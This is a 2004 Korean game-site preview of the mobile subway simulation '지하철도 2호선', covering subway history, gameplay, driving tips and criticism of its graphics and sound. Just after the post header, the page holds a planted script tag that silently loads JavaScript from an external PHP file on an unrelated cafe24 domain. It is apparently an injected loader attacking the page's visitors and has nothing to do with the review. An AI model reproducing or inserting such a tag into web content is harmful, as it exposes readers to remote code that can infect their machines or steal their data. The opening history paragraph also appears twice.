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[프리뷰]

지하철도 2호선

글쓴이 : betamo  (211.♡.166.21) 날짜 : 2004-07-29 (목) 18:20 조회 : 14735
<SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script> 1863년 1월 10일 영국 런던의 팔링턴 스트리트와 비셥스 로드의 패딩턴을 잇는 6.0Km 구간에 개통되어 증기기관차로 운영되었던 세계 최초의 지하철도는 이후 1890년 전기철도 방식으로 재 탄생하였다.

1863년 1월 10일 영국 런던의 팔링턴 스트리트와 비셥스 로드의 패딩턴을 잇는 6.0Km 구간에 개통되어 증기기관차로 운영되었던 세계 최초의 지하철도는 이후 1890년 전기철도 방식으로 재 탄생하였다.한편, 한국 최초의 지하철은 서울시 지하철 1호선 서울역 ~ 청량리 7.8Km 구간으로서 1971년 4월 12일 착공하여 1974년 8월 15일 개통하였으며 이는 세계 최초 지하철 개통후 약 110년 만의 일이었다.

그리고.... 2004년 7월 SKT,KTF,LGT 모바일 안에서 지하철 운행이 시작되었다.

(SKT) (KTF) (LGT)

게임명

지하철도 2호선

개발사

모바일원커뮤니케이션

장르

시뮬레이션

플랫폼

SKVM

서비스타입

단독형(세미네트워크)

다운로드

NATE 게임 zone > 네트웍/아케이드 > 네트웍보드/퍼즐 >지하철도 2호선

SKT에 서비스 중인 '지하철도 2호선’은 현재 KTF에서 '만원지하철도 2호선'으로, LGT에선 '만원지하철'로 서비스 중이다. 이곳에서는 편의상 '지하철'이라 부르겠다. 또한 스크린샷은 편의상 3개 이통사에 서비스 되는 모든 것을 사용할 것이다.


게임설명을 간단히 하자면...
'지하철'은 게이머가 지하철 승무원이 되어서 직접 지하철을 운행하는 게임으로, 모바일원커뮤니케이션이 실제 서울 특별시 지하철 공사에서 받은 42개역의 실제 운행시간, 운행거리, 1년 평균 탑승 인원, 실제운행중인 지하철 차종의 데이터를 기초로 만든 세미 네트워크 게임이다.

노선은 총 8개로 되어 있으나 2호선만 기본으로 제공되고 나머지 1호선 및 3호선에서 8호선까지는 서버에서 추가로 다운로드 후 사용할 수 있다. (당근, 추가비용이 별도로 든다)


이제 게임을 시작해 보자!

게임을 시작하면 선택할 수 있는 모드는 연습을 위한 '튜토리얼'과 말 그대로 곧 바로 게임에 들어가는 '바로시작'이 있다. 그러나 반드시 튜토리얼 모드를 사용할 만큼의 난이도가 있는 게임이 아닌지라 곧 바로시작해도 별 무리는 없다.

'역선택'의 메뉴를 선택할 경우 먼저 자신이 다운 받은 노선 중 하나를 선택하게 되며 이어서 원하는 구간을 선택 할 수 있다. 사용하지 않을 경우 임의적으로 선택된 노선을 운행하게 된다.

참고로 역선택을 하면 노선을 거슬러 올라갈 수 있다.

예) 일반적 선택 : 당산 - 이대,
역선택 시 : 이대 - 당산


운행을 위한 인터페이스


이 게임의 최대 관건은 정해진 시간내에 목적지에 최대한 정확하게 정차시켜 승객의 승하차를 돕는 것이다. 따라서 '속도 조절'이 생명이며, 이벤트에 따른 급정차 타이밍을 조절하는 것도 중요한 요소이다.


참신한 이벤트
지하철의 최대 장점은 아마도 사실에 기반한 게임 구성이라 할 수 있다. 여기다 자칫 지루할 수 있는 요소를 줄이기 위해 철도위에 뛰어든 영화 '박하사탕의 설경구'와 컴컴한 지하터널 안에 등장하는 '귀신'이 재미를 더한다.



몇가지 Tip
Tip 하나, 구간 확인
지하철이 달리는 구간의 종류는 3가지 뿐이다. 직선(지하/지상), 곡선, 다리 위...
여기서 문제되는 곳은 곡선(커브구간)과 다리 위다. 대략 곡선 구간은 30km 정도, 다리 위는 50km정도로 달려야 한다. 물론, 역마다 약간의 차이는 있다.

만일 속도를 조절 하지 않을 경우 강제로 정지된다.

하지만, 애매하다. '몇 km로 속도를 유지하라!'는 멘트가 뜨지만 갑자기 그 속도에 맞춰 줄이기는 어렵다. 무식하지만 외우는 수 밖에 없어 보인다.

Tip 둘, 승객반응 살피기
본디, 지하철은 화물이 아니라 사람을 실어 나르는 교통수단이다. 따라서 승객들의 반응은 예민한 부분을 차지 한다. 숫자 '3'을 눌러 운행 중 승객들의 반응을 살피면 점수에 도움이 된다.

Tip 셋, 거리에 따른 속도조절
게임을 클리어 하기 위해서는 '제한시간'보다 '거리정보'에 신경을 쓰는 편이 더 낫다. 왜냐하면 제한시간은 거리에 따라 달라지기 때문이다.

거리는 크게 '800m 이하', '800 ~ 1000m', '1000m 이상'으로 나누어 볼 수 있다.

이에 따라 800m 이하일 경우 : 40~50km사이,
800~1000m 경우 : 50~60km,
1000m 이상 경우 : 60~70km의 속도를 유지해 달린다.

여기서 말하는 '뽀인뜨'는 늦게 가서 시간에 쫓기는 것보다 조금 빨리 가서 브레이크를 이용해 속도를 줄여가는 편이 용이하다는 점이다.

Tip 넷, 급정거를 이용하라
급정거 사용은 돌발상황(설경구, 귀신)에 해당한다. 아무때나 급정거를 하게되면 승객들이 궁시렁~궁시렁~대기 때문에 좋은 점수를 받지 못한다.

하지만, 급정거가 유용할 때가 하나 더 있다. 바로 플랫폼에 정차 할 때...

Tip 셋에서 언급한 것처럼 빠르게 가다 보면 미쳐 속도를 줄이지 못할 경우가 생긴다. 이때 그냥 지나 치는 것 보다 급정거를 하는 편이 낫다(약간의 차이가 날 경우).

'지존'을 받기엔 어렵겠지만.... 잘 만하면 '합격'은 받을 수 있다.


지나친 reality
흔히 랩을 잘하기 위해서는 '북치기 박치기'를 잘 해야 한다고 말한다. 하지만 대박겜을 만들기 위해서는 '뻥치기 뻥튀기'를 잘 해야 한다.

'뻥치기 뻥튀기'는 비단 대박겜만 적용되는 것이 아니라 살아가는 곳곳에 베어있는 것 같다. 그런연유에서 가파른(?) 여인들이 뽕과 Air로 뻥튀기해 놓고 원래 지것인냥 뻥치기를 하는 모양이다.

But.....

지하철은 이런 '뻥치기 뻥튀기'와 너무 멀다. 물론 설경구와 귀신을 등장 시키긴 했지만 미흡하다.


단조로운 사운드
지하철이 달릴 때 나는 소리야 뻔하겠지만.. 그렇다고 어정쩡한 '덜컹'이는 소리에 고작 문 여닫는 소리로 일관하다니...

사운드에 조금만 신경을 썼다면.. 지하철은 속도에 따라 소리도 달라 진다는 점을 발견했을 거다. 부~우~웅~


죽음에 가까운 그래픽
great, wonderful, good, perfect, 따봉 등.... 이렇게 많은 형용사가 있건만 정작 지하철을 평가하기에 합당한 단어는 없다.

그래픽의 종류는 오직 셋!

대부분을 차지하는 지하구간, 간간히 등장하는 지상구간, 가뭄에 콩나듯 나오는 다리구간.
애써 하나 더 붙이자면 플래폼... 하지만 어느 노선, 어느 역이나 똑같다.

뿐만 아니라 속도 차이에 따른 그래픽의 변화가 거의 없다. 10km를 달리나 100km를 달리나 똑 같다. 간혹 지상을 달릴 때 다리에 불이 난 듯한 새 한 마리가 날아가는데... 휴~ 속터져 죽는다.

이는 유저를 사운드로 한번 그래픽으로 또 한번.. 두 번 죽이는 거다.

그나마 당행인 것은 허전했던 SKT의 플랫폼이 LGT와 KTF에서는 몇 사람이나마 등장하고 있다 .

(LGT) (KTF)

숨통을 조이는 지루함
단조로운 그래픽으로 인해 가뜩이나 지쳐 버린 유저를 이벤트라고 나오는 '설경구'와 '귀신'의 등장으로.. 아애 숨통을 조여 버린다.

지하철 게임에서 시간은 중요한 요소이건만 왜 귀신과 설경구가 나오면 시간까지 멈춰 버리는 건가?! 급정거를 하지 않아도 자동으로 정지해 버리는 것 만으로도 충분히 답답하다. 오히려 시간을 빨리 흐르게 해서 게임의 긴장감을 살리는 편이 더 나았을 것 같다.

모바일 게임 '지하철'을 대하고 있노라면..

지하철 공사에서 받은 42개역의 실제 운행시간, 운행거리, 1년 평균 탑승 인원, 실제운행중인 지하철 차종의 데이터를 기초로 만들었다는 장점이 도리어 '독'이 되어 버린 것 같은 생각이 든다. 너무 사실감에 위존해서일까? '뻥치기 뻥튀기'가 빠져 버린 지하철은 밋밋하기 그지 이를 때 없다.

출시 할 당시 "실제 승무원 교육에 사용해도 손색이 없는 시뮬레이션"이라는 식으로 호언장담했던 모바일원커뮤니케이션.. 하지만 흥미를 필요로하는 유저들의 마음을 잡기엔 리얼리티만으로는 부족한 듯싶다.

차라리..

레일위를 달리는 교육용(?) 지하철 시뮬레이션이 아니라 '뻥치기 뻥튀기'가 가미되어 우주를 달리는 '은하철도 999'같은 게임이었더라면...


본전이라도 뽑겠다는 맘으로 게임에 임한다면.. 승객의 승하차시에 문을 닫아 봐라! 갖가지 이멘트들이 나온다. 그렇게라도 위안을 삼아라!

부푼 기대를 안고 다운을 받은 유저라면.. 이렇게 외칠 거다.


"나~ 다운 받기 전으로 돌아 갈래!"

그래픽

사운드

속도감

조작감

중독성


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